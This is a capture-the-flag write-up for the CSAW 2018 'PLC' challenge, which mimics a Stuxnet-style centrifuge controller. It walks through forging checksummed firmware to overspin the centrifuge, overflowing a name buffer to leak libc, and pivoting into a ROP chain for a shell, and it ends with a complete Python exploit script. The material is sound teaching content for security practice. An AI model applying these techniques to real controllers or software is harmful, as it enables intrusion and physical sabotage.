CSAW Quals 2018 | PLC Writeup
by adamt
CSAW PLC Writeup: Didn’t get to solve it during the actual competition, but definitely recommend giving it a shot, very fun challenge.
enjoy the flag flag{1s_thi5_th3_n3w_stuxn3t_0r_jus7_4_w4r_g4m3}
The challenge was basically a twist on the well known stuxnet virus. It contained 6 sections that built on each other and was a generally fun and interesting challenge.
Step 1
Execute the default firmware
By looking at the provide source code we can see that by entering E
the program will execute the currently loaded firmware
Step 2
Create our own custom checksummed firmware
This was one of the harder/longer parts of the challenge. To solve this you had to reverse engineer both the custom shellcode
used by the centrifuge system, and understand what each command does, as well as reverse engineer the checksum algorithm to digitally sign our own payloads.
Through spending hours stairing at the debugger and following the code flows of different inputs we managed to discover the following commands the firmware would accept
- Reset RPM - 0x30
- Clear Material - 0x31
- Write one char to new material - 0x32
letter
- RPM Override off = 0x33 0x30
- RPM Override on = 0x33 0x31
- Decrement RPM = 0x36
- Increment RPM = 0x37
- DEBUG ON = 0x38 0x31
- DEBUG OFF = 0x38 0x30
- EXIT = 0x39
And for custom checksum, we ported the assembler code directly into python instead of trying to understand and recreate it from scratch.
Also a firmware must be 0x400 characters long and in the format of ‘FW’ + checksum + version + commands Where the version is 2 numbers (eg 12)
Step 3
Exceed Normal Centrifuge Speeds
With the knowledge gained from above, to spin the centrifuges to destruction, we enabled the RPM override, and then calling Increment RPM until the RPM was over a certain threshold. This was pretty trivial with our knowledge gained from the previous step.
Step 4
Specify some “extra” dangerous materials
This part of the challenge stumped me for over an hour, I didn’t know what it meant by "extra" dangerous materials
.
Using the knowledge from above we could rename the materials used in the centrifuge by converting a string “HELLO” > “2H2E2L2L2O”. Simplying putting the digit 2 between each char.
We tried renaming the material to all sorts of things (yes i did google most dangerous nuclear material
and other interesting items and yes I’m definetely on a watchlist somewhere)
List of things we tried
- Uranium
- extra
- “extra”
- “extra” dangerous
Eventually someone in our team asked if we had tried specifying an extra long string…. nuff said, specify a string with like 100 character length and we get the points (no points just a tick yay)
Step 5
JK lol get flag and cat shell
Next step.
We had to put everything we had just learnt about this program, and try to somehow get shell.
I forgot to mention a few things..
- PIE/ASLR/NX Are enabled
- Execve in LIBC is corrupted so we can’t just do a simple ret2libc
- So we must somehow create a ROP chain that calls the execve syscall
We found that we were able to control RIP through a lethal call edx
gadget. However this would only give us a single gadget in which we had to get shell.
The trick is to pivot the shell through a nice add rsp
gadget into a different buffer we control.
The two buffers we control are
- The original terminal which has a 32 character size
- The name buffer we control with our command inputs
We can also get a leak because right after our name buffer, is a pointer to an address in libc. So if we fill our buffer with printable characters, we can print out the status/name of our centrifuge, and get an address leak.
With a libc leak the rop chain is trivial
- pop rax
- 0x3b
- pop rdi
- 0
- pop rdx
- 0
- syscall
- shell xx
So if we place the rop chain in our main buffer after “E”. The program only looks at the E and called execute, which will then execute our pivot gadget and pivot to our rop chain after the letter “E”. perfect.
lovely
14 hours of fun
My final python script
from interact import *
import struct
import time
# globals
WRITE = "2"
RPM_ADD = "7"
EXIT = "9"
RPM_OVERRIDE = "31"
DEBUG = "81"
p = Process()
time.sleep(5) #bugs?
# helper functions
def unpack(data, fmt="<Q"):
return struct.unpack(fmt, data.ljust(8, "\x00"))[0]
def pack(data, fmt="<Q"):
return struct.pack(fmt, data)
def toWriteCommand(string):
return WRITE + WRITE.join(list(string))
def generate_checksum(string):
count = 2
scount = 0
rbp10 = 0
while count <= 0x1ff:
eax = rbp10
eax <<= 0xc
edx = eax
eax = rbp10
eax >>= 0x4
eax |= edx
rbp10 = eax + (count & 0xffff)
rbp10 &= 0xFFFF
eax = ord(string[scount]) + 16*16*ord(string[scount+1])
rbp10 ^= eax
count += 1
scount += 2
return chr(rbp10 & 0xff) + chr(rbp10 >> 8)
def gen_fw(rpm, overflow):
commands = "12" # version
commands += DEBUG
commands += RPM_OVERRIDE # so no issues
commands += toWriteCommand(overflow) # material cmd
commands += (rpm * RPM_ADD) #overflow rpm
commands += EXIT
commands = commands.ljust(0x400 - 4, '\x00')
# Checksum the above commands
checksum = generate_checksum(commands)
# return completed firmware
return "FW" + checksum + commands
p.sendline("U") #upload firewarm
fw = gen_fw(63, "A" * 68 + "XXXXXXXX")
p.send(fw)
p.sendline("E") # execute firwware
p.sendline("S") # Show status for libc leak
print p.readuntil("XXXXXXXX") # Read until end of our payload
leak = unpack(p.readuntil("\n").strip())
libc_base = leak - 0x36ec0 #leak address and calc offset to base of libc
print "Libc leak ", hex(libc_base)
pivot = pack(libc_base + 0xc96a6) # add rsp, 0x38
rop = "A" * 15
rop += pack(libc_base + 0x21102) #pop rdi
rop += pack(libc_base + 0x18cd57) #binsh
rop += pack(libc_base + 0x33544) #pop rax
rop += pack(0x3b) #execve syscall
rop += pack(libc_base + 0x202e8) #pop rsi
rop += pack(0)
rop += pack(libc_base + 0x1b92) #pop rdx
rop += pack(0)
rop += pack(libc_base + 0xbc375) #syscall
p.sendline("U") #upload firmware
fw = gen_fw(80, ("X" * 68) + pivot)
p.send(fw)
p.sendline("E" + rop)
p.interactive()